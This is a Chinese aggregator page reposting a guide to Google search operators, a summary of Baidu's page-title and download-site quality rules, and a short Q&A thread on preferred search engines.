
搜索指定網(wǎng)站內容
推薦10個(gè)超級實(shí)用的谷歌搜索技巧,讓你的效率提高十倍!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 76 次瀏覽 ? 2022-06-19 00:23
相信大家在使用搜索引擎的時(shí)候,大部分情況下都是直接輸入要搜索的關(guān)鍵詞,然后在搜索結果里一個(gè)個(gè)點(diǎn)開(kāi)查找。
但除了特定信息外,搜索引擎同時(shí)也會(huì )返回大量無(wú)關(guān)的信息。
有時(shí)候我們可能翻好幾頁(yè)也不一定能找到滿(mǎn)意的結果,平白增加不少的工作量。
其實(shí),有一些特殊的技巧,可以對搜索結果進(jìn)行限制和篩選,縮小檢索范圍,讓搜索結果更加準確,大大提高我們的效率。
下面,擴展迷就給大家介紹一些在進(jìn)行谷歌搜索時(shí)可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同樣支持。
1. 強制精確匹配
當你輸入某個(gè)長(cháng)句或者短語(yǔ)進(jìn)行搜索后,搜索引擎會(huì )默認顯示所有分別包含各個(gè)單詞的相關(guān)信息。
要么就是,只匹配到了你輸入的部分字詞,這就很令人糟心了。
其實(shí)這時(shí)候,你可以使用引號來(lái)強制完全匹配所有字符。
如:“what is extension”
加引號前的搜索結果如下:
加上引號后的搜索結果:
再比如:“擴展迷網(wǎng)站的地址”
加上引號前的搜索結果是這樣的:
加上引號后搜出來(lái)是這樣的:
在百度搜索上,強制匹配技巧同樣適用。
2. AND運算符
很多人不知道的是,絕大部分搜索引擎都允許在搜索中使用邏輯運算符。
如果你想查詢(xún)同時(shí)包含多個(gè)搜索詞的所有站點(diǎn),只需要在搜索引擎中輸入:搜索詞 AND 搜索詞。
搜索引擎則會(huì )返回包含兩者的搜索結果。
比如:擴展迷 AND 下載
3. OR運算符
與AND相反,OR可以返回你輸入的多個(gè)搜索詞分別相關(guān)的結果,而不僅僅是和多個(gè)搜索詞都同時(shí)相關(guān)的結果。
巧妙使用OR運算符,可以讓你在未能確定哪個(gè)關(guān)鍵詞對于搜索結果起決定作用時(shí),依然可以確保搜索結果的準確性。
比如:擴展迷 OR python
4. 排除指定關(guān)鍵詞
如果在進(jìn)行準確搜索時(shí)沒(méi)有找到自己想要的結果,你還可以對包含特定詞匯的信息進(jìn)行排除,僅需使用減號,即 -就可以了(注意減號前有空格)。
比如搜索:擴展迷,第二條結果包含了嗶哩嗶哩網(wǎng)站的內容。
使用排除符號搜索:擴展迷 -嗶哩嗶哩
可以看到,包含嗶哩嗶哩的結果就都沒(méi)有了。
通過(guò)這個(gè)技巧,大家在搜索指定的教程、新聞資訊的時(shí)候就方便得多了。
5. 通配符
*,星號,通配符,可以用作模糊搜索。
如果我們忘記了需要搜索的詞句的某一部分,就可以用*代替缺失的部分。
比如:擴*迷Extfans
這個(gè)技巧在查歌詞、文章原文的時(shí)候非常省時(shí)省力,而不會(huì )返回太多無(wú)關(guān)結果。
6. 站內搜索
眾所周知,許多網(wǎng)站上內容雖然豐富,但欠缺了站內搜索的入口,當我們想要查找網(wǎng)站上的某個(gè)資源的話(huà)就比較麻煩了。
實(shí)際上,搜索引擎也可以幫你完成站內搜索的工作。只需輸入:搜索詞site:網(wǎng)址
比如搜索:下載工具 site:
或:site: 下載工具
直接就可以找到擴展迷網(wǎng)站上有關(guān)“下載工具”的所有內容了。
順帶一提,如果再結合本文第一條的精準搜索功能,站內搜索將會(huì )變得更加強大。
7. 在網(wǎng)頁(yè)標題、鏈接和正文中搜索
如果你需要找出和搜索詞相關(guān)的所有網(wǎng)頁(yè)標題、鏈接和正文,只需要按下方規則搜索即可:
把搜索范圍限定在網(wǎng)頁(yè)標題中——intitle:搜索詞
把搜索范圍限定在url鏈接中——inurl:搜索詞
把搜索范圍限定在正文中——intext:搜索詞
例如,在搜索引擎中輸入:intitle: 擴展迷安裝教程
就會(huì )得到所有標題中包含“擴展迷安裝教程”的網(wǎng)頁(yè)了。
8.搜索相關(guān)網(wǎng)站
想要知道與某個(gè)網(wǎng)站相關(guān)的網(wǎng)站還有哪些?你僅需在搜索引擎中輸入related:網(wǎng)址,就可以了。
比如:related:
即可得到所有和相關(guān)的網(wǎng)站反饋結果。
9. 搜索指定文件類(lèi)型
使用這個(gè)技巧,可以快速幫你找到各個(gè)格式的文件。
輸入:filetype:文檔格式 搜索詞
比如:filetype:pdf 疫情防控
10. 在某個(gè)時(shí)間范圍內搜索
如果你想找出某段時(shí)間內的搜索結果,可以在搜索引擎中輸入:搜索詞年份..年份(搜索詞和年份之間有空格)。
比如:擴展迷油猴腳本 2020..2021
總結
盡管有些技能或許并不常用,但精準搜索和站內搜索這些技能的使用范圍還是相當廣泛的。
更重要的是,以上提到的技巧都可以單獨或搭配使用,中間用空格隔開(kāi)即可。
比如,在擴展迷網(wǎng)站上搜索標題含“油猴腳本”的內容。
只需輸入:intitle:“油猴腳本” site:
再比如,在豆瓣上搜索標題包含“你好李煥英”的內容。
輸入:intitle:“你好李煥英” site:
如果你能夠靈活對上述所有搜索技能進(jìn)行組合運用,完全能按照自己的意愿縮小或者擴展搜索范圍,達到事半功倍的效果。
隨著(zhù)谷歌等搜索引擎中提供的內容越來(lái)越繁雜,對于用戶(hù)來(lái)說(shuō),掌握這些搜索技巧還是非常必要的。
本文為公眾號【擴展迷Extfans】原創(chuàng ) 查看全部
推薦10個(gè)超級實(shí)用的谷歌搜索技巧,讓你的效率提高十倍!
相信大家在使用搜索引擎的時(shí)候,大部分情況下都是直接輸入要搜索的關(guān)鍵詞,然后在搜索結果里一個(gè)個(gè)點(diǎn)開(kāi)查找。
但除了特定信息外,搜索引擎同時(shí)也會(huì )返回大量無(wú)關(guān)的信息。
有時(shí)候我們可能翻好幾頁(yè)也不一定能找到滿(mǎn)意的結果,平白增加不少的工作量。
其實(shí),有一些特殊的技巧,可以對搜索結果進(jìn)行限制和篩選,縮小檢索范圍,讓搜索結果更加準確,大大提高我們的效率。
下面,擴展迷就給大家介紹一些在進(jìn)行谷歌搜索時(shí)可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同樣支持。
1. 強制精確匹配
當你輸入某個(gè)長(cháng)句或者短語(yǔ)進(jìn)行搜索后,搜索引擎會(huì )默認顯示所有分別包含各個(gè)單詞的相關(guān)信息。
要么就是,只匹配到了你輸入的部分字詞,這就很令人糟心了。
其實(shí)這時(shí)候,你可以使用引號來(lái)強制完全匹配所有字符。
如:“what is extension”
加引號前的搜索結果如下:
加上引號后的搜索結果:
再比如:“擴展迷網(wǎng)站的地址”
加上引號前的搜索結果是這樣的:
加上引號后搜出來(lái)是這樣的:
在百度搜索上,強制匹配技巧同樣適用。
2. AND運算符
很多人不知道的是,絕大部分搜索引擎都允許在搜索中使用邏輯運算符。
如果你想查詢(xún)同時(shí)包含多個(gè)搜索詞的所有站點(diǎn),只需要在搜索引擎中輸入:搜索詞 AND 搜索詞。
搜索引擎則會(huì )返回包含兩者的搜索結果。
比如:擴展迷 AND 下載
3. OR運算符
與AND相反,OR可以返回你輸入的多個(gè)搜索詞分別相關(guān)的結果,而不僅僅是和多個(gè)搜索詞都同時(shí)相關(guān)的結果。
巧妙使用OR運算符,可以讓你在未能確定哪個(gè)關(guān)鍵詞對于搜索結果起決定作用時(shí),依然可以確保搜索結果的準確性。
比如:擴展迷 OR python
4. 排除指定關(guān)鍵詞
如果在進(jìn)行準確搜索時(shí)沒(méi)有找到自己想要的結果,你還可以對包含特定詞匯的信息進(jìn)行排除,僅需使用減號,即 -就可以了(注意減號前有空格)。
比如搜索:擴展迷,第二條結果包含了嗶哩嗶哩網(wǎng)站的內容。
使用排除符號搜索:擴展迷 -嗶哩嗶哩
可以看到,包含嗶哩嗶哩的結果就都沒(méi)有了。
通過(guò)這個(gè)技巧,大家在搜索指定的教程、新聞資訊的時(shí)候就方便得多了。
5. 通配符
*,星號,通配符,可以用作模糊搜索。
如果我們忘記了需要搜索的詞句的某一部分,就可以用*代替缺失的部分。
比如:擴*迷Extfans
這個(gè)技巧在查歌詞、文章原文的時(shí)候非常省時(shí)省力,而不會(huì )返回太多無(wú)關(guān)結果。
6. 站內搜索
眾所周知,許多網(wǎng)站上內容雖然豐富,但欠缺了站內搜索的入口,當我們想要查找網(wǎng)站上的某個(gè)資源的話(huà)就比較麻煩了。
實(shí)際上,搜索引擎也可以幫你完成站內搜索的工作。只需輸入:搜索詞site:網(wǎng)址
比如搜索:下載工具 site:
或:site: 下載工具
直接就可以找到擴展迷網(wǎng)站上有關(guān)“下載工具”的所有內容了。
順帶一提,如果再結合本文第一條的精準搜索功能,站內搜索將會(huì )變得更加強大。
7. 在網(wǎng)頁(yè)標題、鏈接和正文中搜索
如果你需要找出和搜索詞相關(guān)的所有網(wǎng)頁(yè)標題、鏈接和正文,只需要按下方規則搜索即可:
把搜索范圍限定在網(wǎng)頁(yè)標題中——intitle:搜索詞
把搜索范圍限定在url鏈接中——inurl:搜索詞
把搜索范圍限定在正文中——intext:搜索詞
例如,在搜索引擎中輸入:intitle: 擴展迷安裝教程
就會(huì )得到所有標題中包含“擴展迷安裝教程”的網(wǎng)頁(yè)了。
8.搜索相關(guān)網(wǎng)站
想要知道與某個(gè)網(wǎng)站相關(guān)的網(wǎng)站還有哪些?你僅需在搜索引擎中輸入related:網(wǎng)址,就可以了。
比如:related:
即可得到所有和相關(guān)的網(wǎng)站反饋結果。
9. 搜索指定文件類(lèi)型
使用這個(gè)技巧,可以快速幫你找到各個(gè)格式的文件。
輸入:filetype:文檔格式 搜索詞
比如:filetype:pdf 疫情防控
10. 在某個(gè)時(shí)間范圍內搜索
如果你想找出某段時(shí)間內的搜索結果,可以在搜索引擎中輸入:搜索詞年份..年份(搜索詞和年份之間有空格)。
比如:擴展迷油猴腳本 2020..2021
總結
盡管有些技能或許并不常用,但精準搜索和站內搜索這些技能的使用范圍還是相當廣泛的。
更重要的是,以上提到的技巧都可以單獨或搭配使用,中間用空格隔開(kāi)即可。
比如,在擴展迷網(wǎng)站上搜索標題含“油猴腳本”的內容。
只需輸入:intitle:“油猴腳本” site:
再比如,在豆瓣上搜索標題包含“你好李煥英”的內容。
輸入:intitle:“你好李煥英” site:
如果你能夠靈活對上述所有搜索技能進(jìn)行組合運用,完全能按照自己的意愿縮小或者擴展搜索范圍,達到事半功倍的效果。
隨著(zhù)谷歌等搜索引擎中提供的內容越來(lái)越繁雜,對于用戶(hù)來(lái)說(shuō),掌握這些搜索技巧還是非常必要的。
本文為公眾號【擴展迷Extfans】原創(chuàng )
百度搜索頁(yè)面規范指南:網(wǎng)站站點(diǎn)或智能小程序滿(mǎn)足用戶(hù)需求,標題,內容
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 144 次瀏覽 ? 2022-06-18 10:20
百度搜索頁(yè)面規范指南--用戶(hù)需求滿(mǎn)足
【需要找百度小程序開(kāi)發(fā),網(wǎng)站制作開(kāi)發(fā)公司直接找我們】
2.1 標題規范 ——針對頁(yè)面標題違規問(wèn)題
2017年9月,百度搜索發(fā)布清風(fēng)算法,嚴懲開(kāi)發(fā)者通過(guò)頁(yè)面標題作弊,欺騙用戶(hù)并獲得點(diǎn)擊的行為;從而保證搜索用戶(hù)體驗,促進(jìn)搜索生態(tài)良性發(fā)展。
2018年11月,百度搜索針對頁(yè)面標題作弊行為發(fā)布《百度搜索頁(yè)面標題規范》,對搜索生態(tài)下的網(wǎng)頁(yè)標題進(jìn)行了嚴格的規范和要求。不符合《百度搜索頁(yè)面標題規范》的站點(diǎn),將會(huì )被清風(fēng)算法1.0覆蓋,受到限制搜索展現的處理。
《百度搜索頁(yè)面標題規范》
1.標題的原則
? 站點(diǎn)或智能小程序應確保每個(gè)頁(yè)面都有指定的標題,且同一站點(diǎn)的不同頁(yè)面應分別使用不同的標題;
? 頁(yè)面標題應準確概括頁(yè)面內容,避免使用模糊和不相關(guān)的描述;
? 頁(yè)面標題應簡(jiǎn)明扼要,避免使用冗長(cháng)的標題,避免關(guān)鍵詞堆砌;
? 頁(yè)面標題的符號使用正確,建議參考百度建議的標題符號用法(詳細內容請參見(jiàn)后文“3.2標題的符號”部分)
2.不允許出現的標題類(lèi)型
標題存在以下惡劣問(wèn)題時(shí),會(huì )對這類(lèi)結果做相應的搜索結果展現限制。
2.1標題內容虛假
指標題和頁(yè)面內容不相符,欺騙誘導用戶(hù)點(diǎn)擊的情況。
類(lèi)型1:虛假官網(wǎng)
指非官方站點(diǎn)或智能小程序,但標題表述為官網(wǎng)的情況。
問(wèn)題示例12:非官方網(wǎng)站但標題為官網(wǎng)的負面案例
類(lèi)型2:無(wú)法滿(mǎn)足用戶(hù)需求
如:標題中標明可下載或在線(xiàn)閱讀小說(shuō)txt,但是頁(yè)面中不提供下載服務(wù)或誘導用戶(hù)下載APP;或在標題中說(shuō)明有百度云下載、支持在線(xiàn)觀(guān)看,但是頁(yè)面既不能下載,又不能在線(xiàn)觀(guān)看。
問(wèn)題示例13:標題標明可下載小說(shuō),但頁(yè)面中誘導下載APP的負面案例
類(lèi)型3:標題表述部分虛假
如:某網(wǎng)頁(yè)標題中標明有江蘇一本大學(xué)排名,但頁(yè)面只有大學(xué)名單,而沒(méi)有排名相關(guān)的內容。
2.2標題重復、堆砌
指站點(diǎn)或智能小程序通過(guò)頁(yè)面標題過(guò)度重復或堆砌等手段,獲取不正當流量的情況。
類(lèi)型1:標題關(guān)鍵詞大量重復
類(lèi)型2:標題大量堆砌語(yǔ)義相近的關(guān)鍵詞標簽
問(wèn)題示例14:標題堆砌關(guān)鍵詞的負面案例
3.優(yōu)質(zhì)頁(yè)面標題建議
優(yōu)質(zhì)的頁(yè)面標題,不僅能明確表達頁(yè)面的主旨目的,更能給搜索用戶(hù)有效的引導,吸引目標用戶(hù)點(diǎn)擊。對符合優(yōu)質(zhì)規范的標題,百度將會(huì )給予更多的展現優(yōu)待。
3.1 標題的構成
百度頁(yè)面標題可以概括為“核心詞+修飾詞”的格式,修飾詞建議不多于3個(gè)。
3.2 標題的符號
4.百度標題改寫(xiě)機制
為保證搜索用戶(hù)的體驗,百度搜索將會(huì )對部分易造成用戶(hù)誤導的頁(yè)面標題進(jìn)行相應的改寫(xiě),包括但不限于以下幾種情況:
對于標題堆砌等過(guò)度優(yōu)化的站點(diǎn)首頁(yè),百度搜索會(huì )將過(guò)度優(yōu)化的標題直接改寫(xiě)為站點(diǎn)名稱(chēng)或公司名稱(chēng);
對于部分表意模糊的頁(yè)面,百度搜索將會(huì )從頁(yè)面中提取頁(yè)面關(guān)鍵信息補充在標題中,保證用戶(hù)能夠及時(shí)獲取有效信息。
針對標題堆砌的改寫(xiě)示例:針對標題堆砌問(wèn)題的改寫(xiě)示例
2.2 清風(fēng)算法3.0——針對下載站違規問(wèn)題
為了規范下載行業(yè)站點(diǎn)及智能小程序的欺騙下載、捆綁下載等傷害用戶(hù)的行為,百度搜索分別于2018年4月、2018年10月發(fā)布清風(fēng)算法2.0、3.0版本,清風(fēng)算法覆蓋的問(wèn)題范圍從標題作弊行為擴展到下載行業(yè)站點(diǎn)及智能小程序的欺騙用戶(hù)行為。
2018年10月,百度搜索發(fā)布《百度搜索下載站質(zhì)量規范》,對百度搜索范圍內下載站點(diǎn)及智能小程序的行為進(jìn)行嚴格要求和控制。不符合此規范的下載站或智能小程序,將會(huì )被清風(fēng)算法3.0覆蓋,受到搜索展現的限制。
《百度下載站質(zhì)量規范》
1.下載站質(zhì)量規范概要
下載站需遵守以下原則,堅持為用戶(hù)提供高質(zhì)量、有效,安全的下載服務(wù):
?、俦WC軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等惡意行為;
?、跓o(wú)”李鬼下載“行為,通過(guò)普通下載/本地下載入口下載的軟件必須為下載按鈕文字描述的目標軟件;
?、巯螺d頁(yè)面中不能存在與下載按鈕類(lèi)似的誘導類(lèi)廣告;
?、茉试S存在安全下載/高速下載的情況,但是頁(yè)面中必須有明確說(shuō)明解釋。
2.下載站質(zhì)量規范說(shuō)明
2.1 PC端下載站質(zhì)量規范
圖示:PC端下載站頁(yè)面
a板塊.本地下載:
應保證下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
本地下載/普通下載點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在下載內容與描述不符的“李鬼下載”問(wèn)題;
b板塊.高速下載:
若存在高速下載情況,需要在頁(yè)面上明確告知用戶(hù)其與本地下載(如上圖a區所示)的區別,如:說(shuō)明實(shí)際效果為先下載高速下載器,然后在高速下載器中下載目標軟件(如上圖b區所示);
c板塊.誘導廣告:
下載頁(yè)面中不能存在與下載按鈕相似的誘導類(lèi)廣告,如上圖c區所示的情況是不允許出現的。
2.2高速下載器規范
說(shuō)明:此項規范針對用戶(hù)在PC頁(yè)面中下載高速下載器后,通過(guò)高速下載器下載目標軟件的情況。
圖示:用戶(hù)下載高速下載器打開(kāi)后的界面
?、僭试S下載前默認勾選推薦軟件(如上圖紅框區域所示),但是用戶(hù)可自主根據實(shí)際需求取消勾選,取消勾選后不能再將推薦軟件進(jìn)行捆綁下載;
?、谕扑]下載的軟件不能為色情、賭博等違法軟件;
2.3移動(dòng)端下載站質(zhì)量規范
圖示:移動(dòng)端下載界面
?、俦WC下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
?、谙螺d點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在“李鬼下載”現象;
?、巯螺d需要有明確說(shuō)明,在頁(yè)面上告知用戶(hù),如上圖所示,說(shuō)明實(shí)際效果為先下載某應用市場(chǎng),后續可在應用市場(chǎng)中下載目標軟件,這種方式更加安全等;
?、茉试S默認勾選,優(yōu)先進(jìn)行高速下載,但用戶(hù)可自主根據實(shí)際情況取消勾選,直接進(jìn)入普通下載,下載目標軟件。
2.3 信風(fēng)算法——針對虛假翻頁(yè)誘導問(wèn)題
2019年5月,百度搜索發(fā)布信風(fēng)算法,控制網(wǎng)站或智能小程序利用翻頁(yè)鍵誘導用戶(hù)的行為。
信風(fēng)算法主要針對以下情況:
用戶(hù)點(diǎn)擊翻頁(yè)鍵時(shí),自動(dòng)跳轉至網(wǎng)站的其他頻道頁(yè)(如目錄頁(yè)、站外廣告頁(yè)等)。
問(wèn)題示例15:移動(dòng)端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
問(wèn)題示例16:PC端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
對于此類(lèi)問(wèn)題,我們建議:
1、不要放置虛假翻頁(yè)鍵。如果您希望能獲得更多的用戶(hù)瀏覽和點(diǎn)擊,可以在正文結束后,為用戶(hù)推薦相關(guān)的優(yōu)質(zhì)內容,吸引用戶(hù)點(diǎn)擊。
2、尊重用戶(hù)瀏覽體驗,避免出現刻意拆分一篇簡(jiǎn)短文章為多個(gè)分頁(yè)的行為。
2.4 違規信息規范——針對違法違規信息
為了維護安全健康的搜索生態(tài),保障搜索用戶(hù)的合法權益,2019年2月,百度搜索發(fā)布《關(guān)于百度搜索嚴厲打擊虛假詐騙等違法違規信息的公告》,打擊電信網(wǎng)絡(luò )中的虛假詐騙、違法交易、黃賭毒等違法違規信息。
百度搜索打擊的違法違規信息包括但不限于以下內容:
1.虛假、詐騙類(lèi)信息: 查看全部
百度搜索頁(yè)面規范指南:網(wǎng)站站點(diǎn)或智能小程序滿(mǎn)足用戶(hù)需求,標題,內容
百度搜索頁(yè)面規范指南--用戶(hù)需求滿(mǎn)足
【需要找百度小程序開(kāi)發(fā),網(wǎng)站制作開(kāi)發(fā)公司直接找我們】
2.1 標題規范 ——針對頁(yè)面標題違規問(wèn)題
2017年9月,百度搜索發(fā)布清風(fēng)算法,嚴懲開(kāi)發(fā)者通過(guò)頁(yè)面標題作弊,欺騙用戶(hù)并獲得點(diǎn)擊的行為;從而保證搜索用戶(hù)體驗,促進(jìn)搜索生態(tài)良性發(fā)展。
2018年11月,百度搜索針對頁(yè)面標題作弊行為發(fā)布《百度搜索頁(yè)面標題規范》,對搜索生態(tài)下的網(wǎng)頁(yè)標題進(jìn)行了嚴格的規范和要求。不符合《百度搜索頁(yè)面標題規范》的站點(diǎn),將會(huì )被清風(fēng)算法1.0覆蓋,受到限制搜索展現的處理。
《百度搜索頁(yè)面標題規范》
1.標題的原則
? 站點(diǎn)或智能小程序應確保每個(gè)頁(yè)面都有指定的標題,且同一站點(diǎn)的不同頁(yè)面應分別使用不同的標題;
? 頁(yè)面標題應準確概括頁(yè)面內容,避免使用模糊和不相關(guān)的描述;
? 頁(yè)面標題應簡(jiǎn)明扼要,避免使用冗長(cháng)的標題,避免關(guān)鍵詞堆砌;
? 頁(yè)面標題的符號使用正確,建議參考百度建議的標題符號用法(詳細內容請參見(jiàn)后文“3.2標題的符號”部分)
2.不允許出現的標題類(lèi)型
標題存在以下惡劣問(wèn)題時(shí),會(huì )對這類(lèi)結果做相應的搜索結果展現限制。
2.1標題內容虛假
指標題和頁(yè)面內容不相符,欺騙誘導用戶(hù)點(diǎn)擊的情況。
類(lèi)型1:虛假官網(wǎng)
指非官方站點(diǎn)或智能小程序,但標題表述為官網(wǎng)的情況。
問(wèn)題示例12:非官方網(wǎng)站但標題為官網(wǎng)的負面案例
類(lèi)型2:無(wú)法滿(mǎn)足用戶(hù)需求
如:標題中標明可下載或在線(xiàn)閱讀小說(shuō)txt,但是頁(yè)面中不提供下載服務(wù)或誘導用戶(hù)下載APP;或在標題中說(shuō)明有百度云下載、支持在線(xiàn)觀(guān)看,但是頁(yè)面既不能下載,又不能在線(xiàn)觀(guān)看。
問(wèn)題示例13:標題標明可下載小說(shuō),但頁(yè)面中誘導下載APP的負面案例
類(lèi)型3:標題表述部分虛假
如:某網(wǎng)頁(yè)標題中標明有江蘇一本大學(xué)排名,但頁(yè)面只有大學(xué)名單,而沒(méi)有排名相關(guān)的內容。
2.2標題重復、堆砌
指站點(diǎn)或智能小程序通過(guò)頁(yè)面標題過(guò)度重復或堆砌等手段,獲取不正當流量的情況。
類(lèi)型1:標題關(guān)鍵詞大量重復
類(lèi)型2:標題大量堆砌語(yǔ)義相近的關(guān)鍵詞標簽
問(wèn)題示例14:標題堆砌關(guān)鍵詞的負面案例
3.優(yōu)質(zhì)頁(yè)面標題建議
優(yōu)質(zhì)的頁(yè)面標題,不僅能明確表達頁(yè)面的主旨目的,更能給搜索用戶(hù)有效的引導,吸引目標用戶(hù)點(diǎn)擊。對符合優(yōu)質(zhì)規范的標題,百度將會(huì )給予更多的展現優(yōu)待。
3.1 標題的構成
百度頁(yè)面標題可以概括為“核心詞+修飾詞”的格式,修飾詞建議不多于3個(gè)。
3.2 標題的符號
4.百度標題改寫(xiě)機制
為保證搜索用戶(hù)的體驗,百度搜索將會(huì )對部分易造成用戶(hù)誤導的頁(yè)面標題進(jìn)行相應的改寫(xiě),包括但不限于以下幾種情況:
對于標題堆砌等過(guò)度優(yōu)化的站點(diǎn)首頁(yè),百度搜索會(huì )將過(guò)度優(yōu)化的標題直接改寫(xiě)為站點(diǎn)名稱(chēng)或公司名稱(chēng);
對于部分表意模糊的頁(yè)面,百度搜索將會(huì )從頁(yè)面中提取頁(yè)面關(guān)鍵信息補充在標題中,保證用戶(hù)能夠及時(shí)獲取有效信息。
針對標題堆砌的改寫(xiě)示例:針對標題堆砌問(wèn)題的改寫(xiě)示例
2.2 清風(fēng)算法3.0——針對下載站違規問(wèn)題
為了規范下載行業(yè)站點(diǎn)及智能小程序的欺騙下載、捆綁下載等傷害用戶(hù)的行為,百度搜索分別于2018年4月、2018年10月發(fā)布清風(fēng)算法2.0、3.0版本,清風(fēng)算法覆蓋的問(wèn)題范圍從標題作弊行為擴展到下載行業(yè)站點(diǎn)及智能小程序的欺騙用戶(hù)行為。
2018年10月,百度搜索發(fā)布《百度搜索下載站質(zhì)量規范》,對百度搜索范圍內下載站點(diǎn)及智能小程序的行為進(jìn)行嚴格要求和控制。不符合此規范的下載站或智能小程序,將會(huì )被清風(fēng)算法3.0覆蓋,受到搜索展現的限制。
《百度下載站質(zhì)量規范》
1.下載站質(zhì)量規范概要
下載站需遵守以下原則,堅持為用戶(hù)提供高質(zhì)量、有效,安全的下載服務(wù):
?、俦WC軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等惡意行為;
?、跓o(wú)”李鬼下載“行為,通過(guò)普通下載/本地下載入口下載的軟件必須為下載按鈕文字描述的目標軟件;
?、巯螺d頁(yè)面中不能存在與下載按鈕類(lèi)似的誘導類(lèi)廣告;
?、茉试S存在安全下載/高速下載的情況,但是頁(yè)面中必須有明確說(shuō)明解釋。
2.下載站質(zhì)量規范說(shuō)明
2.1 PC端下載站質(zhì)量規范
圖示:PC端下載站頁(yè)面
a板塊.本地下載:
應保證下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
本地下載/普通下載點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在下載內容與描述不符的“李鬼下載”問(wèn)題;
b板塊.高速下載:
若存在高速下載情況,需要在頁(yè)面上明確告知用戶(hù)其與本地下載(如上圖a區所示)的區別,如:說(shuō)明實(shí)際效果為先下載高速下載器,然后在高速下載器中下載目標軟件(如上圖b區所示);
c板塊.誘導廣告:
下載頁(yè)面中不能存在與下載按鈕相似的誘導類(lèi)廣告,如上圖c區所示的情況是不允許出現的。
2.2高速下載器規范
說(shuō)明:此項規范針對用戶(hù)在PC頁(yè)面中下載高速下載器后,通過(guò)高速下載器下載目標軟件的情況。
圖示:用戶(hù)下載高速下載器打開(kāi)后的界面
?、僭试S下載前默認勾選推薦軟件(如上圖紅框區域所示),但是用戶(hù)可自主根據實(shí)際需求取消勾選,取消勾選后不能再將推薦軟件進(jìn)行捆綁下載;
?、谕扑]下載的軟件不能為色情、賭博等違法軟件;
2.3移動(dòng)端下載站質(zhì)量規范
圖示:移動(dòng)端下載界面
?、俦WC下載軟件的安全性,無(wú)掛馬、竊取用戶(hù)隱私等問(wèn)題;
?、谙螺d點(diǎn)擊后,效果必須為直接下載目標軟件,不能存在“李鬼下載”現象;
?、巯螺d需要有明確說(shuō)明,在頁(yè)面上告知用戶(hù),如上圖所示,說(shuō)明實(shí)際效果為先下載某應用市場(chǎng),后續可在應用市場(chǎng)中下載目標軟件,這種方式更加安全等;
?、茉试S默認勾選,優(yōu)先進(jìn)行高速下載,但用戶(hù)可自主根據實(shí)際情況取消勾選,直接進(jìn)入普通下載,下載目標軟件。
2.3 信風(fēng)算法——針對虛假翻頁(yè)誘導問(wèn)題
2019年5月,百度搜索發(fā)布信風(fēng)算法,控制網(wǎng)站或智能小程序利用翻頁(yè)鍵誘導用戶(hù)的行為。
信風(fēng)算法主要針對以下情況:
用戶(hù)點(diǎn)擊翻頁(yè)鍵時(shí),自動(dòng)跳轉至網(wǎng)站的其他頻道頁(yè)(如目錄頁(yè)、站外廣告頁(yè)等)。
問(wèn)題示例15:移動(dòng)端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
問(wèn)題示例16:PC端,用戶(hù)點(diǎn)擊“下一頁(yè)”直接跳轉至站內頻道目錄頁(yè)
對于此類(lèi)問(wèn)題,我們建議:
1、不要放置虛假翻頁(yè)鍵。如果您希望能獲得更多的用戶(hù)瀏覽和點(diǎn)擊,可以在正文結束后,為用戶(hù)推薦相關(guān)的優(yōu)質(zhì)內容,吸引用戶(hù)點(diǎn)擊。
2、尊重用戶(hù)瀏覽體驗,避免出現刻意拆分一篇簡(jiǎn)短文章為多個(gè)分頁(yè)的行為。
2.4 違規信息規范——針對違法違規信息
為了維護安全健康的搜索生態(tài),保障搜索用戶(hù)的合法權益,2019年2月,百度搜索發(fā)布《關(guān)于百度搜索嚴厲打擊虛假詐騙等違法違規信息的公告》,打擊電信網(wǎng)絡(luò )中的虛假詐騙、違法交易、黃賭毒等違法違規信息。
百度搜索打擊的違法違規信息包括但不限于以下內容:
1.虛假、詐騙類(lèi)信息:
選新浪微博中國的搜索引擎大概就剩下百度了
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2022-06-18 10:02
搜索指定網(wǎng)站內容時(shí),使用手機瀏覽器搜索指定網(wǎng)站內容,會(huì )推薦該網(wǎng)站內容中的新聞。
另類(lèi)點(diǎn)兒的有手機版pc端和各種問(wèn)答網(wǎng)站手機端可搜小眾關(guān)鍵詞就有結果了,
搜狗這個(gè)搜索功能我覺(jué)得不是特別好,特別是經(jīng)常搜一些沒(méi)有用過(guò)的,感覺(jué)搜狗查不出來(lái)的時(shí)候,搜狗就這么做了。
個(gè)人習慣:豆瓣。
百度啊,
新浪博客
其實(shí)我最喜歡的是,google搜索。但是要翻墻。
我覺(jué)得googlemap也是個(gè)不錯的選擇,打開(kāi)后,你可以搜索離你最近的城市,然后就是圖片,文字,各種信息。不但要用自己感興趣的,而且要評論才能看到附近有啥好玩的,體驗不一樣的生活。
googlemapsandsearch
必應啊。android之前版本搜索整個(gè)公司的所有東西都會(huì )有好嗎。
國內我選新浪微博
中國的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微軟的有samsungbada系列,都不錯.國外的googleamazonyahoo之類(lèi)的.
騰訊搜索,
百度了吧
其實(shí)我覺(jué)得首頁(yè)很大程度上只是一個(gè)映射某一些網(wǎng)站的門(mén)戶(hù)類(lèi)網(wǎng)站,根據網(wǎng)站的內容大而全,
在網(wǎng)絡(luò )上一般搜索的主要依據就是各種英文網(wǎng)站 查看全部
選新浪微博中國的搜索引擎大概就剩下百度了
